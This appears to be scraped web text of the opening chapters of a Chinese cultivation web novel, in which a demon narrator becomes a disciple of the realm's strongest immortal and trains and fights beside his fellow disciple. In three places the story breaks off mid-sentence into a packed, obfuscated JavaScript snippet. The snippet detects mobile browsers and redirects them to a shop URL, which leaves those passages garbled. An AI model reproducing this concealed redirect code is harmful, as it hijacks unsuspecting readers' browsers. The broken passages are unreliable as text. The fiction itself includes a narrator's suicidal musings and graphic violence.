《他永生不灭【无限流】》 1. 修真界(1) 假如,我是说假如,你是一只忙碌着向南迁徙的候鸟。 你会为旅途中因战争、灾难而流离失所的难民停下翅膀,驻足伤感片刻吗?你会用喙将自己柔软洁白的羽毛撕扯下来,衔着白羽掩住那双绝望浑浊的双眸吗? 或许这个比喻不够恰当。 那你相信贵为修真界第一人,会向一只贪婪,弱小,肮脏且可悲的魔物,伸出世间千金难见、甚至万金难求的橄榄枝吗? 反正我是不信的。 饥饿的难民会挥舞干枯的双臂将云中自由的白鸽击落,它的尸体乘风而落,他们幽绿的眼眸在黑夜里亮地可怖。随着白色身影的坠落,寂静中的一抹抹幽光死死紧盯彼此,像是条条饿昏的豺狼。 只需一个贪婪的眼神,亦或是吞咽下喉的唾沫,无论是兄弟手足亦或恩爱夫妻,便都如同惊弓之鸟一般,发狠地,竭力地,在那一个瞬间猛地扑向对方! 他们獠牙暴露,他们面露凶光,他们毫不犹豫撕咬着过去朝夕暮楚的亲人—— 这是他们刻于骨缝之中,无法抗拒也难以违背的生存本能。 而那只死去白鸽,那双无机制的黑眼中正倒映着豺狼自食的影像,点点雾气停留在眼角。 当然,它再也不能飞往温暖的南方了。 仙人于魔大抵也是如此。 我站在凛冽的风雪中,眼前是苍山负雪,脚下是松软雪地。 至于面前矗立在雪峰上,轮廓棱角分明、容貌俊美宛若神邸,周身充斥着飘忽磅礴威压的男人,我想大抵是那位神龙不见尾的修真界第一人。 雪纷纷扬扬落在了魔角上,又很快因为向外扩散的炽热魔气而融化。 呼出一口热气,一时间竟分不清:究竟是他养虎为患,还是我羊入虎口。 起因是我在魔界救了他唯一的弟子,哦……就是旁边那个轻轻拽着我衣摆,唇红齿白,脸上还带有婴儿肥的正太。明明年龄不大却硬要摆出一副年少老成的模样,浅色眸子无意间透露出的清冷疏离倒是漂亮。 不过若是谈“救”,便太抬举我了。 抱着找乐子的心态,随手帮了路边的一只瑟瑟发抖的幼兽,这能算得上救吗?远谈不上,我也担不起这种回报。 “您确定要收我为入门弟子吗?” 我低头弹了弹落在斗篷上的雪,掩住了眼底的嘲讽,轻声道:“我只是个指不定哪天就会死掉的魔物,是不受你们这些修仙之士接受的过街老鼠。” 拜托,你们修真者的浑水我是一点也不想趟,快放我走吧。 “倘若被其他大能发现我的身份,您的名声会遭到沾污的……” 男人不语。像是什么都没听到,又或是听到了,但懒得做出回应。 雪愈发大了。 我上前一步,企图用言语增添最后一簇火苗,“最重要的是,我不受天道喜欢。” 修真之人,最在乎的无外乎天道啊,因果啊……云云之类,这人总不会是例外。 如期望的那般,仙尊终于回头不咸不淡看我一眼,可说出的话却离我想听的有十万八千里远—— “你在怕什么?”他问道,像是也没指望我回答,似嘲若讽,“是啊,你这么弱,确实应该害怕得抖上三抖。” “不过管那些人作甚。也不仔细瞧瞧,如今你站在谁的地盘上,谁又敢来伤本尊的人。” “……” 没有激动,没有欣喜,更不存在感激与庆幸。 我悄悄捂住凉了的半截心。 这位……仙人,对自己实力相当自信,想来是真人不错了。 运气不太好,逃都没希望咯。 说实话,我哪里是在担心那个。 我这颤颤巍巍,指不定有了今儿、没了明儿的小命自保都够呛,惶谬担得住那大人物只言片语的刻薄呢?怕是连碍眼都挨不上边,又怎会闲来议论我? 可如今有了这位主儿,那就不一定了。 有句俗话叫……“无利不早起”。 如今他展现了他的实力与价值,它日不知我又要付出多少,又得当几次被用来儆‘猴’的‘鸡’,才能算作偿还这份‘恩情’。 明面上我恭敬道歉,心底却如这刮过的寒风。 拔凉的。 就差拿根小木棍在雪地上画圈圈了。 看着近在咫尺的结界,我在仙人身后幽幽道:“敢问伙食……” “是没有的。” 身侧的小正太一本正经回答。 “尘世间的食物不利于修炼。” “……” 我要悄悄地碎掉了。 迈着沉重的步伐踏入结界的瞬间,眼前的景色豁然开朗,鸟语花香近在咫尺。 一只蝴蝶轻轻落在我的掌心。 我心头微颤。 算了。 无论目的哪种,我都无力也无心再去反抗。 正如碰到落难人类的前一刻,我正在认真编排自己的自杀计划……虽然被突如其来的一些事打断。 稚鸟归巢,落叶也应归根。 只可惜半路被劫,入土未半而中道崩殂,如今我站在这,逃不了,也躲不过。 还记得人间讲求一句“顺其自然”,那便让我看看,这‘自然’能不能弄死我吧。 * 安排完房间,天色已经黯淡。 我抱着正派的服饰,跟着楚浮提……就那个先前提到的顺手捡的清冷小正太,来到后院。 后院连着山水,流动的泉水从高处坠下发出如铃般清脆的声音。水珠里倒映着银白色的月光,清冷中隐匿着神秘。 将手搭在青丝细带上准备解衣入池,瞥见刚从池中起身的小孩不自在的扭过头。我心下觉得有趣,便出声打趣他是否需要帮助洗浴,哪知话中不知道哪个字戳到了他的恼火点,一张白净的脸涨得通红,小孩冷声丢下句‘不用’便甩手离开。 莫非是生气了? 好不经逗。 我对着他的背影挥了挥手,转身踏入云翠色的天然水池。 温泉的水温正合适,热气扑面而来,又在空气中化为晶莹的水珠将一身倦怠卸去。 难怪那些道貌岸然的仙人会净身术却仍耗费大量灵石去争夺一块上好的水池。 说起来, 我游神,双臂环抱曲起的膝盖。 早知道那叫浮提的小孩有大来头便不帮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670823|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 瞧瞧,摊了个大麻烦。 我幽幽叹了口气。 木已成舟,今后顺势而为或许还能从便宜师尊那学点东西。 只是除去这个,还有些问题一直困扰着我: 名扬三界,堂堂楚仙尊的徒弟,一个十来岁的小孩,是怎么孤身一人来到魔界的?若不是那么楚浮提是如何到魔界的,以及初次见面时那副奄奄一息的模样就有待考证。 如果是被魔族绑过来的,小孩不可能活着等到我发现他。 可我偏偏见到了。 魔界中人,无论是魔物还是魔修,是先天魔骨还是后天堕魔,反正都不是什么好东西,各有各的疯法——不然魔界是如何做到以极为不对等的零星数量,与万千正道分庭抗礼,占据魔界这么一个从面积上来讲完全不亚于修真界的地盘? 又不像妖界那些墙头草。 尽管魔修中虾兵蟹将数量不算少,但那堆基本都在人间晃悠。至于进入魔界?哈,他们还没那个资格。 能堂而皇之在魔界溜达的,多少有点真本事在身上。 所以按理来说哪怕是楚浮提也不应该只剩下一口气……死无全尸,这才是他本应有的结局。 包括他是如何来到魔界,来魔界的原因等等等,这当中存疑许多。 不过呢,跟我没太大关系。 所以管他呢。 我舒服地眯起眼睛。 忙了一天,如今泡在温泉里,好不惬意。 伴随温热的水流滑过,乏力与疲惫感伴随着睡意涌上心头。 虽然明知在一个陌生环境不能掉以轻心,可被温暖包裹的感觉实在是难以拒绝,于是我干脆放任自己沉溺于其中,先前经历巨大恐惧之后叫嚣疼痛至今的肌肉也借此舒缓…… 在微弱的星辰中,不知不觉我慢慢合眼,意识悄然下沉。 冥冥中失重感从地心传来,仿佛有一双粘稠干涸的手拽着我向下坠落。空气越来越稀薄造成的窒息令我无力反抗。模糊间,我好像听到神秘飘渺的意志向我轻诉呢喃细语: ——就这样死去吧,你本就不属于…… 那道声音模糊又飘渺,听得我头疼起来。 过去种种不幸轮番轰炸我的思想,它们好像也在附和着那道陌生声音的话,劝说着让我奔赴死亡。 低沉,熟悉,充满蛊惑。 “……” 或许吧。 我试图回答那道声音的主人,不过遗憾的是,这场交谈大概只是单向的。 良久的沉默让我感到好笑。想勾下嘴角,却不想嘴边肌肉内里的每一根神经恍若被压迫般的抬不起来。 温泉的热气熏上额头,被拂过的风吹得凉飕飕,像是被锋利的斧子抵住命门,‘噗嗤’一声,斧子入了脑髓,持续不断的尖锐撕裂感使我觉得太阳穴要炸开。 算了。 好累。 好烦…… 身体下沉进水底。 提不起一丝想要反抗的念头。 其实倒也不必劳烦那声音费心来劝。 毕竟说不准哪天找了个好日子,我自个就套根白绳,随那飞鸟去了。 哈哈。 2. 修真界(2) 死亡不是一段生命的结束。 他曾如此告诉我。 他又说,万物理应珍惜生命……无论是自己的还是他人的。 梦里的阳光洒在他的脸上,温柔又阳光。 一切都是那么美好。 可是这么说的人却先我一步走了。 “……” 我嗤笑。 走吧走吧,反正魂归魂土归土,谁也逃不过。 梦境破碎。 于是世界又沦为黑夜与寂静。 许是过了一个世纪那么久,于一片不可观测的黑暗中隐约似有叹息。来人将瘫软在水中的身体轻轻抱起,趁夜里的凉意还未席卷时抹去了身上的潮意,清凉的空气疯狂钻入干瘪的肺部。 我想睁开双眼,却终是抵不过已经掌控住大脑的困意,意识最终在黑夜之中摊开,而后零零散散的碎落下去。 一夜无梦。 次日起来时,天空已经泛起了鱼肚白。 我半撑着身体坐起,身下的实感取代了闭眼前视线中的轻盈水光。 正当我诧异于自己竟是在屋内时,一个白色小巧的千纸鹤从门缝中飞进来,垂直降落在指尖,纸鹤白色的小小脚小心翼翼地立在上面。 我好奇的拨弄着它的纸翅尖,它晃晃头,却听一道不算陌生的男声惚地从中传出: “既然睡醒了就出来。” 噫! 吓死! 怀着微妙忐忑的心情,我换上略微繁琐却料质极佳的正道人士特定服饰,匆忙洗了把脸便出了门。 撩起眼前如柳絮般垂落的竹帘,抬眼便对上刺眼的光芒,我不适的眯起眼。 今日微风正好。 门外站着一位端着本书看的俊秀少年,窗外透出的阳光洒在他的脸上,将轮廓分明的影子投在地面。 我没有掩盖脚步声,长靴踩在木质台阶上,发出吱呀声响。 少年大概是被吵着了,皱着眉合上书,黑白分明的眼睛微挑。 他看向我,直奔主题,“师尊与我已辟谷,而你未曾。今日寻你便是为了此事。” 我颔首表示自己在听。 正当我以为他会提议一起去人间买点烧鸡什么的伙食时,却见对方抛过来一枚空间戒指,稚嫩的脸上少见有些臭屁,冷淡的神情夹藏几分高傲:“今后你就是我的师弟。这是见面礼,里面有辟谷丹。” 说完这句话后,少年像是有些不好意思,以书掩面干咳几声,浅色眼眸装作不经意的看向我。 耳根红都透了。 我抬手接住戒指,入手质感非常,不用看便知是件难得的好货。 难不成这便宜‘师兄’还要跟我交流下同门情谊? 不管心下想法如何,我挑眉示意他看向手里攥得发皱的书。 “师兄,再用力书都能被你捅出个窟窿了。” “……嗯。” 楚浮提的耳朵此时红得像是可以端上桌的肉食。 我好笑的看着他。 “……”少年白瓷的小脸蛋慢慢沁出了粉,终于像是恼羞成怒般低头向前快走:“师尊说了,修道之人不得贪恋口腹之欲,以后你不得吃任何肉食,由我监督。” 这回轮到我沉默了。 瞧,教科书般的自作自受。 跟着少年穿过洒满阳光的小道,我再次看到了那位便宜师尊。 他闭着眼斜靠在桃花树下,繁茂枝叶怀抱晨雾中散碎的橘红,光芒零零散散投射在那张无暇的脸上,竟中和了些轮廓带来的冷硬。 宁静又和谐。 男人显然早就注意到了我们的到来,凭空取出几本边角有些泛黄的功法书籍,头也不抬丢给我。 微微偏头,我抬手接下在空中划出残影的书,大体翻看后竟发现无一不是禁书。 而它们的原持有者,楚仙尊……吾辈楷模。 我咋舌。 这种东西,哪怕一本流落在外都足以掀起一场腥风血雨,赚得盆满钵满,要是…… 收到了楚仙尊暗藏警告意味的一眼。 小心思瞬间藏住了呢。 他骨节分明的手指在天蓝色的衣袖上敲打,眼神尖锐,“你魔源纯粹,资质极佳。比起寻常魔物擅长的近身肉搏,你更擅长修法,可主修以魔气为主的功法……” “魔修同道修有异曲同工之处,它们同源而生,如阴阳两极。你若是在修道上有难处可来询问我。” 灵气与魔气确实如同彼此相靠却永不融合的阴阳极,它们互相排斥相互挤压。此地灵气充盈,作为魔气宿主的我自然深感不适。不过—— 镶嵌黑曜石的戒指在半空划出一道凌厉的抛物线,最后精准落在我的手心。 瞬间,周遭窒息压迫的灵气被隔绝在立方体空间之外,而空间之内则弥漫充斥的浓郁暗沉雾气,魔气的出现瞬间滋养了皮肤与经脉。 倒是件难得的宝物。 我喟叹。 不愧是名扬三界的仙尊,出手就是阔绰。 此物供给的魔气不仅纯净不掺杂质,似乎源头也是源源不断的,想必若是出现在魔界定会引起轩然大波。 在我收下戒指的那个瞬间,余光中仙尊唇角似乎扬了几分。 最后,他要求我们准备一个十年后的,死亡率高但同收获成正比的秘境。 * “师兄,看招——” 盘亘在剑锋上伺机而动的深黑色魔气化为气势雄厚的巨龙,自上空呼啸着朝对面一袭白衣的修士袭去,残影发出破风的声响。 白衣修士抿唇神色淡淡,随着并拢的骨节分明手指上萦绕淡蓝色的光,佩戴的白银色长剑“铮——”一声出鞘,变异水灵根释放的寒意如飓风夹杂暴雪,刺骨冷意携凛冽剑意一并扑面而来。 魔气不出所料被一剑斩破,原本聚集的黑雾四散开来,取而代之的是白衣修士直面刺来的剑! 就是现在! 我眯起眼睛,周围魔气浓度空前高涨,原先被打散的淡黑色魔气也重新汇聚成数千细蛇,从四面八方向修士汇去,自己则蹬地借力躲过这一剑。 白衣修士反应同样迅速,稍一收力银剑便转向蛇群,只见剑影闪动,蛇群霎时爆体而亡! 魔气炸开一瞬间的威力难免波及到我,霎时胸腔轰鸣。 “咳!” 抹了把嘴角的血,我眼中的光越来越亮,兴致越战越高,终于在某一刻达到临界点,不再用术法,侧身提剑而上。 一白一黑不断交织,从剑身相撞到拳掌相击带来的冲击感令我兴致高昂、愈发亢奋。 尘土飞扬,再次停下时场面已分胜负。 师兄的剑不知何时又回到他手上,剑锋轻搭在我脖颈旁,冰冷杀意扑面而来。而我手里由雾气凝聚成的三根银针则抵在白衣修士胸口,跃跃欲试想要冲出指尖。 “平局。”白衣修士垂眸,不知道在想些什么。 “不对哦,师兄。” 我咧嘴笑道,左手指尖毫无存在感的蛛丝此时显了形,侵蚀性质魔气凝固而成的蛛丝张牙舞爪地宣示着存在感,蛛丝另一端贴在白衣修士的太阳穴,在阳光下细丝闪着微不可查的光泽! “是我赢了。” “不错,飞速的进步。” 不知看了多久的楚仙尊从暗处慢悠悠晃荡出来,稀稀拉拉的鼓着掌。 “但是——”他话锋一转,看向我的那道冷淡的目光充满鄙夷。 我顿感不妙。 果然,下一秒,“时无序,你阴招不少啊。” 心里‘咔哒’一声:这位看起来可不像满意的样。 “也没有……低调,低调。” 我收回手中蛛丝,有些不好意思地揉了揉鼻尖,继而腼腆笑道:“人间有话不是说,‘黑猫白猫,抓到耗子的就是好猫’,对吧师尊?” 话虽这样,身体却蓄势待发,以便在仙尊动手的瞬间将伤害缩到最小。 比起楚浮提的外冷内热,这位仙尊里外都是冷的,恍若与世隔绝、高高在上的神祇。 前提是不张嘴,不动手。 “还真当本尊是在夸你?”男人嗤笑。“本尊的小院最近缺了面厚实的墙,现在看来,应当拿你的脸去做。” 心跳稍稍加速。 有那么一个瞬间,我能感受到他是真的在考虑这么做的可行性。 “仙尊舍不得的。”笑容僵硬了一瞬,而又挂回脸上。 这个疯子。 他闻言冷哼一声,像是不屑,却让我舒了口气。 “至于你——” 他转向楚浮提,话音未落,身影便突然消失在原地。见状一旁白衣修士瞳孔骤缩,不等反应过来,下一秒便‘唰’的一下被踹出几百米远! “怎么,现在不走神了?”男人冷笑,懒散收回刚刚伸出的腿,呼吸间出现在被踢飞的少年身边,居高临下的看着他。 远处,白衣少年蜷缩在地上。 哇哦,师徒争执。 我在心里吹了声口哨。 正当我抬腿准备去扶一下小师兄时,后者慢慢从地上站起来,胡乱擦了两下嘴边的血,嗓音异常平静:“弟子愿意领罚。” 脚步一顿。 对于竟然会有人主动受罚这件事,我深感诧异。 仙尊的处罚可不是什么好受的,一次少说也得费去大半条命。 上次我的惩罚是废掉两只胳膊,而后丢进一个满是毒虫的秘境,待了三天,出来的时候没一块皮肤是完整的,整个人像是从血水里捞出来的。 不过个人抗毒程度什么的也上去不少就是了。 很残忍,但也很迅速的提升方式。 “不至于……” “行啊,去吧。” 我抬头偷瞄嘴角擒笑的男人,他嘲讽的俯视楚浮提,神色莫名。 现在转头已经来不及了,男人锋利的视线下一秒直直和我在半空撞上,他皮笑肉不笑道:“怎么,你也想去?” 我一咬牙,“弟子愿与师兄一同受罚。” 尽管已经低下头,却仍然可以感受到那道幽深的目光仍停留在身上,从外到内被看透的感觉毛骨悚然。我忍不住打起寒颤。 良久,男人才慢悠悠开口,满是戏谑,“本尊竟不知,本尊的秘境何时倒成了受小孩欢迎的玩具……罢了,到底师兄弟情深。既然你那么想陪他,本尊也没兴趣做那个棒打鸳鸯的,想去就去吧。” 等到最后一句轻飘飘落地时,发话者已不见踪影。 当真来无影去无踪。 我重重松了口气,快步走上前一把勾住白衣修士的脖子,长吁短叹:“啊呦,师兄你怎么这么想不开呢,认个错道个歉就能过去的事,说点什么不好偏偏说领罚……这下子咱俩都得掉层皮了。” 比我矮半头的正太身体一僵,但到底没甩开我,“你可以不去。” 嘁,那种鬼地方谁想去啊,每次出来都弄一身血,脏死了…… 我眸色一暗,敲了下少年脑袋,笑骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今日我不想见血,算你走运。” 既是打定主意把住处让给他了,我便不会再在这里度夜——以免刀剑无眼,不小心见了血。轻甩了下衣摆,便准备去树梢上打坐一晚,却不想刚转身便被身后一股力量拉住。 “不要走。” 心头一惊,回头才发现只是小孩的梦中呓语。 ……所以那只拽住衣摆的手大概也只是潜意识的挽留。这么想着,我手上加了点力,一扯—— 没扯动。 再次用力,结果仍未做改变。 而那只攥紧的手却在微微颤抖。 “……” “求你……不要走,不要离开我。” 泪水从少年俊俏的脸上缓缓淌下,沿着蹙起的眉头,滑过颤抖的睫毛,最后停在干涸发白的双唇上,似偶尔停泊的白鸟。 一如在魔界捡到他的那天。 呼—— 屋外刮起了大风,月光亦被乌云侵蚀,雨点噼里啪啦拍击着窗。 奇异的自然现象,约莫是受少年不稳定的灵根影响。 我看着他,思绪飘转…… 那天,在我照常驱赶走地盘上的其他闯入者后,在那临时用几根木材搭建起来的小破地方看到了一个人类。 一个蜷缩在杂衣堆里,全身没有一处完好的人类,以及一个用不入行的蹩脚法术建起的掩藏气息的法阵。 道修,尤其是年轻的、资质上佳的道修,他们的血、骨头、乃至皮肉,对任何魔物都是大补。 而对于常年处于阴暗的魔修来说,哪怕只是能够折辱一下那些平日里高高在上、自视清高的正道修士,就已经足够振奋。如今来了个细皮嫩肉、气质清冷,看上去还是个修为天资均为上乘的道修玉娃娃,又这么可怜兮兮的倒在地上,哪个魔修看了不得起了贪念邪念? 哪怕是像我这样不爱人肉人血的‘素食主义者’,若是将他抓了、卖了也能赚个盆满钵满,过上一段朝生暮死的神仙日子。 可这个金贵的玉娃娃却主动拽住我的衣摆,祈求我救他。 我难得怔愣一瞬。 搞什么,谁给他的胆子,竟然敢求助一个魔族? 出于好奇心,我驻足俯视这个胆子挺大的人类。不过他实在太虚弱了,连抬头似乎都做不到。 于是我弯下腰,伸手捏住少年的脸左右瞅了瞅,见还算符合眼缘便顺手帮助加固了法阵。 至于能不能活下来,能不能逃出去……那就是他自己的事了。 那伤势,说实话,哪怕身为皮厚血厚魔物的我恢复起来都困难。 但他还是活下来了。 人类,脆弱又顽强的生命啊。 而后一段时间,他一直跟在我后面,像个小尾巴。而我权当无视。 谁知这就是麻烦的开始。 我倚靠在窗沿上,单腿屈膝看向外面。 再后来,他被他师尊找到,我也被强制一起带了回去。 我不会追问为什么他的脸色在看见楚仙尊的一瞬间冷了下去,也不好奇他为什么前后性格判若两人。 因为这和我没有关系。 雨渐渐小了,天际浮起白边。 蒙蒙清晨似有隐隐叹息。 3. 修真界(3) 一晃而过又四年。 按人类的标准算下来,楚浮提约莫已经二十出头。原先堪堪到下巴的小孩如今高出我半头,立如芝兰玉树,五官也越发英挺深邃,已有令无数男女痴迷的趋势。 而我呢,虽不至男生女相,却仍是副眼尾稍挑,精致旖丽的少年郎样貌,甚至因为肤色过于苍白而显得病恹恹。 ——是跟四年前如出一辙的样貌。 不过实力早已今非昔比。 八年前的我尚且能在魔界混吃混喝的苟活,何况在仙尊手下苦苦锻炼八年后的我呢。 期间我恶补了一些仙魔妖的常识,知道了自己如今是在位列数宗门之首的天衍宗,我那便宜师尊更是创建门派那几人中其中一位——据记载早在七百多年前的仙魔大战时楚仙尊实力就已经到了化神期,当之无愧的三界之首。 至于这位活在人们口中的仙尊把我丢在这的目的? 谁知道呢。 反正近来日子清闲自在。 我懒散的倒吊在树干上。 五年前我就已经从半步筑基到了金丹后期,修炼速度之快毫不亚于甚至超于楚浮提,而后者也一举从筑基后期到了金丹后期。 由于楚仙尊硬性要求压制修为以杜绝突破至元婴期,我同师兄便一同卡在突破的临界点处。 值得一提的是在秘境开启前大概半月吧,仙尊便闭关去了。 展开的神识里凭空多出一道气息。 嘿,真是说谁谁到。 熟悉干净的白衣修士出现在视线内,已经凝结成固态暗黑色玫瑰花的魔气被我递给来者,“师兄,送你朵花。” 他偏过头,冷淡道:“不用。” 阳光下的少年身姿挺拔一袭洁白,容貌冷淡俊美,浑身未收起的灵力仿佛要把靠近他三尺之内的人全部冻成冰块。 我从树上一跃而下,足尖一点落在少年身前,后者周身泛着好闻的雪松味。 那张冷淡脸看得我手痒痒,于是我故作轻佻,将楚浮提散在脸侧的一缕发丝挑起,“冷淡的娘子哟,好让为夫伤心。” 少年愣住了足足五秒,而后竟然略显窘迫地用移步换影逃走了! 我乐得开怀。 对着楚浮提仓皇离的背影,我高声道:“我要吃你做的桂花糕,还有之前那家的炸鸡!” 虽然我不能离开卿雪峰,但是楚浮提可以。 他不出所料应了下来。 看着少年消失的修长身影,一种养崽数十年的成就感莫名席卷上来,一时间不由怀念起最初见面的时候,他才那么矮一只,甚至脸上还带了点还未褪去的婴儿肥,如今却已比我高去半头。哎呀真是岁月不等人,熬老了一批又一批……呸呸,怎么突然代入老父亲的视角了?我明明年轻得很! 坐在树干上发了会呆,过去的回忆像风一般席卷而上,又悄无声息的散去,一如数个独自坐在月光下等待明天的日子。它们来了又走,抓不住也留不住。 甩了甩乱七八糟的脑袋,我盘腿坐在桃花树下,打了个哈气,手里又编起了小草。 嗯…应该这样编……再加一双眼睛……嗯嗯…………嗯? 我嗅嗅嗅! 在淡淡的桃花香中,肉食的香味格外明显。 ……是我的炸鸡! 我怀揣愉悦朝目标扑上去,却于近在咫尺的位置处止步不前。 嗯? 我疑惑抬头。 “你还没给报酬。” 楚浮提单手抵在我的肩膀。 我将刚编好的小兔子丢给他。 少年小心接住丁点小的草编兔子,浅色眸中闪过一丝狡黠,“不够,这次涨价了。” 我大为震惊:“师兄,说好的做一个淡漠易害羞的高冷剑修呢?你这次甚至没能装上半天!” 楚浮提一副冷淡脸:“那是对外。你又不是外人。” ——其实就是装不下去了。 “6,挑着熟人坑呗。”我气笑了,薅起地上的草往他头上丢去。 “那也是只坑你一个人。” 他足见一点,轻松躲过,清冷的俊脸上竟出现了熟悉的无赖神色,摆明了不答应就不给。 “真是世风日下!” “是近墨者黑。按你的话来说,就是我成功从白面馒头进化成了芝麻馅的汤圆。” “……这分明是退化!” 看着对方手里攥着的油纸包,我不争气的咽了口口水,“想要什么作为报酬?说来听听。” 上次秘境得到的天阶水系灵器?比赛赢到的天阶剑法?还是最近托人铸造的水系佩剑? 油纸包里面隐隐飘散出的香味勾得魔肚子饿饿的。 他深吸一口气,“我要摸摸你的尾巴。” “……?” 这里容我介绍,我们魔物高贵的尾巴一向象征着我们的尊严与脸面! 我皮笑肉不笑道:“你有本事再说一遍?” 他还真又说了一遍:“我要,摸你尾巴!” ——我看你是太岁头上动土! 偷瞟一眼香香鸡肉。 “那好吧。” 再见了,我的尊严,我的脸面。 咬手帕jpg。 从那张贯会摆出一副拒人于千里之外的清冷脸上,我隐隐约约看到了奸计得逞的笑意。 金黄苏嫩的炸鸡! 我餍足地咂咂嘴,吃得开心,也正好错过了少年小声的喃喃自语。 “……还不是因为你总是逗弄我,还把我当免费苦力。” 楚浮提在一旁细细打理无毛尾巴,目光时不时落在我吃得流油的嘴上,又飞快移走。 有把柄! 我阴险的把沾了油的手伸向楚浮提。本意是想恶心他,但也不知道他从哪里掏出来个手帕,还是蘸了水的,精细的一根手指一根手指的擦过去。 死板小孩。 我翻了个白眼。 明明一个洁净术就可以搞定的事。 “你昨日曾背着我和师尊下山。” 闻言我心头一跳,差点把手缩回来,脸上笑得愈发灿烂,“怎么会呢,师兄莫不是在同我说笑。有师尊设下的符咒在,没有你陪同我可离不开这里半步。” 他擦完了最后一根手指,而后将沾染油渍的白手帕轻塞入我的手心,掌心合拢,食指与中指并拢轻点手帕,看着我的眼神专注而认真:“希望如此。” 我没再说话,只是那张沾污的手帕被攥得很紧。 目视少年消失在视线中,手帕瞬间被黑色魔气化为的火舌舔舐殆尽,仅剩几滴细散的深黑火星在空中飘散,如扑火飞蛾。 拇指与食指摩挲着,我轻“啧”一声,转身回到自己的住所。 仙尊闭关,我行事又小心谨慎,没道理他能发现不对劲。 所以他大概是在诈我。 毕竟,血洗魔将魁首所在的整座城池,手段又残忍了些,身上难免有煞气,修为相近的楚浮提不会没有察觉。 不过如果他真的发现了什么……那就只能让他永远闭嘴了。 角落里黑色的模糊一片的东西蠕动着,我抬手打了道魔气过去,那团肮脏的东西瞬间被巨大的力道碾碎,尖叫声还未出口就消散在空气中。任谁都看不出那是曾经风光一时、无恶不赦的四大魔将之一。 很好,现在最后一位知情人兼当事人也没了。 我清晰地记得当我问他是否记得当年惨死在他手下孩童时男人脸上的迷茫与骇然……大概是所害太多,一时间竟想不起是哪个,亦或从未放在心上。 仇已报,恶人死,冤魂息。 可是然后呢? 如今踢散了他最后的残魂,我沉默的看着黑影消散的地方,半晌后才缓缓将目光移向翻涌着魔气的双手。 它们依旧苍白且瘦削。 我却难得不知所措。 闲云潭影日悠悠,物换星移几度秋。再次回想灵魂深处,那个意气风发的身影时却惊觉轮廓早已模糊不清。 这个世界体系下可没有转世一说。 ……等我。 * 十年后,人间和魔界的交界处 唰——! 长剑一斩封喉。 楚浮提收起剑,朝我比了个手势,我心领神会,魔气瞬间朝某个方向蜂拥而上,封锁住对方一切可能的逃跑路线。 被黑色魔气拦截的黑斗篷猛地停下脚步,因为速度过快,未能收住的斗篷边角瞬间被魔气侵蚀消散。 “跑什么……还需要费工夫抓回来杀死,累死了。”我躺在积聚成云的魔气上,打了个哈欠,一旁的魔气瞬间将意图逃跑的十几只魔修吞掉。 “魔气?魔族……还是高等魔族?!”斗篷下的男人喃喃自语,斗篷下的脸又猛地转向我所在的方向,语气谄媚又狗腿。“大人,求您救我啊大人!!那边有个修真者正在追杀我们宗门!我…我可是按了您们的要求纳了贡的,求您庇护我,杀了那个修真者,让他……让他血债血还!!” “嗯?”我挑眉,饶有兴趣地看着连滚带爬靠过来的什么杀门宗主,指向从远处飞来的楚浮提,“你说的是他么?那个修真者。” 黑斗篷连连点头。 “哎呀,这可不行。”我挥散了魔气,笑意盈盈地将手搭在千米冲刺而来的白衣修士肩上,带着冷意的手指自下而上摸过青年温热的脖子:“瞧这细品嫩肉的,杀了这个,谁给我找个更帅的呢。” 手下温热的皮肤瞬间起了一层鸡皮疙瘩。 经过几年的相处,都不用传音,楚浮提瞬间了解我想搞事情,十分配合的‘温顺’下来。 原本我还在担心楚浮提在外人面前放不开表情的冷淡脸会让对方有所猜忌,没想到黑斗篷屁颠颠地靠了过来,张口就是一顿夸:“大人威武!大人英勇!……若是大人能将这小白脸杀了替我报仇雪恨,别说区区一个脔宠,大人就是想要那太阳小的也会尽力!” 我笑眯眯地看着他画大饼。 【我可以动手了吗。】 这是来自‘有点生气的楚师兄’的传音。 【咦,我的小白脸怎么青筋暴起了呢?大人我好心疼哦~】 这是‘英俊潇洒风流倜傥帅气逼人’的我,的传音。 【……时无序!我——】 我飞速掐掉了对方的传音。 【我听不见~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“瞧,你的耳朵又红了。” 我轻笑。 * 像往常一样,由楚浮提去领灵石与钱财,我蹲在人间入口的石狮子上等着他。 在有钱之前,我倒是去过几次人间。 那里街上的行人来来往往,熙熙攘攘,四周灯火辉煌,好不热闹。只是可怜我身无分文,如同任何一只匍匐在肉包铺旁的流浪狗,被驱逐殴打是我们唯一的下场。 不过没关系,钱很快就能到手了。 在手上的叶子碾碎第四十八只蚂蚁后,他终于来了。带着我心心念念的银子。 我收起掩盖气息的法器,从石狮子头顶一跃而下,抓着少年宽大的衣袖就往前跑,兴致盎然:“去川流前我先带你去另一个地方吧!” 楚浮提没有多问,而是跟着我一起跑了起来。在夕阳下的人间小道,我们奔跑,缩地千尺,我们穿过一簇又一簇的人群,流向身后的环境逐渐熟悉起来,最终停在一条破败的街道。 周围的房子墙壁被蛇鼠弄出一个又一个窟窿,有些直接半部塌陷,再也看不出原貌。墙壁之间的过道坑坑洼洼,清冷的见不到任何人影。 